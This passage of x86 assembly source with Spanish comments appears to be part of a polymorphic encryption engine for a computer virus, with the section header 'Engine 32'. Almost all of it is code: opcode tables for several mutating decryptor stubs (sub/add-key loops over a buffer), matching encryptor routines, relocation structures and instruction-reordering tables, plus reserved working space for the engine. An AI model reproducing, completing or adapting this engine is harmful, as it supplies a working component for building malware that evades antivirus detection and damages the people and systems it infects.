dd 3h despinistartaddr2 dd 1h desprelocabsaddr2 dd 1h desprelocreladdr2 dd 2h saltoabsdestino2 dd 6h saltoreldestino2 dd 0h tabladep2: db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,08h,0h,0h,0h,0h,0h,0h,0h,0h ; (tama¤o)/(mascara de bits inicializados)/(opcodes de instrucciones) opsdec2: db 05h,040h,0beh,00h,00h,00h,00h ;mov esi,iniaencriptar db 05h,04h,0bah,00h,00h,00h,00h ;mov edx,tama¤o db 02h,080h,08bh,0feh ;mov edi,esi db 01h,01h,0ADh ;lodsd db 05h,00h,02Dh,00h,00h,00h,00h ;sub eax,clave db 01h,00h,0ABh ;stosd db 03h,00h,04ah,074h,00h ;dec edx/je otro db 05h,00h,0b8h,00h,00h,00h,00h ;mov eax,0000000h db 02h,00h,0ffh,0e0h ;jmp eax enc2: db 0beh,00h,00h,00h,00h ;mov esi,iniaencriptar db 0bah,00h,00h,00h,00h ;mov edx,tama¤o db 08bh,0feh ;mov edi,esi salto2: db 0adh ;lodsd db 005h,00h,00h,00h,00h ;add eax,clave db 0abh ;stosd db 04ah ;dec edx jne salto2 ret SRD3: sizeaddr3 dd offset opsdec3+41 encsizeaddr3 dd offset enc3+19 randomaddr3 dd offset opsdec3+25 encrandomaddr3 dd offset enc3+9 encstartaddr3 dd offset enc3+3 regini3 db 00h regbloq3 db 02Ch regopera3 db 0h numdeinst3 dd 11 encaddr3 dd offset enc3 punterotabladep3 dd offset tabladep3 mascarareord3 dd 07ffh structrel3 dd offset estructreloc3 decaddr3 dd offset opsdec3 estructreloc3: inistartaddr3 dd 9h relocabsaddr3 dd 2h relocreladdr3 dd 3h despinistartaddr3 dd 1h desprelocabsaddr3 dd 1h desprelocreladdr3 dd 7h saltoabsdestino3 dd 7h saltoreldestino3 dd 0h tabladep3: db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,06h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,08h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,08h,09h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,08h,09h,0Ah,0h,0h,0h,0h,0h,0h ; (tama¤o)/(mascara de bits inicializados)/(opcodes de instrucciones) opsdec3: db 02h,020h,02bh,0edh ;sub ebp,ebp db 02h,08h,033h,0dbh ;xor ebx,ebx db 05h,04h,0bah,00h,00h,00h,00h ;mov edx,diraencriptar db 01h,00h,055h ;push ebp db 01h,00h,05dh ;pop ebp db 06h,00h,081h,02ah,00h,00h,00h,00h ;sub dword ptr [edx],clave db 03h,00h,083h,0c2h,04h ;add edx,4 db 01h,00h,043h ;inc ebx db 08h,00h,081h,0fbh,00h,00h,00h,00h,074h,00h ;cmp ebx,size /je salto db 05h,00h,0bdh,00h,00h,00h,00h ;mov ebp,salto db 02h,00h,0ffh,0d5h ;call ebp enc3: db 033h,0dbh ;xor ebx,ebx db 0bah,00h,00h,00h,00h ;mov edx,diraencriptar salto3: db 081h,002h,00h,00h,00h,00h ;sub dword ptr [edx],clave db 083h,0c2h,04h ;add edx,4 db 043h ;inc ebx db 081h,0fbh,00h,00h,00h,00h jnz salto3 ret ;********************** Fin del Engine 32 ******************************* end: db offset end - offset start + 1000h dup (0) ;espacio pa que trabaje el engine end inicio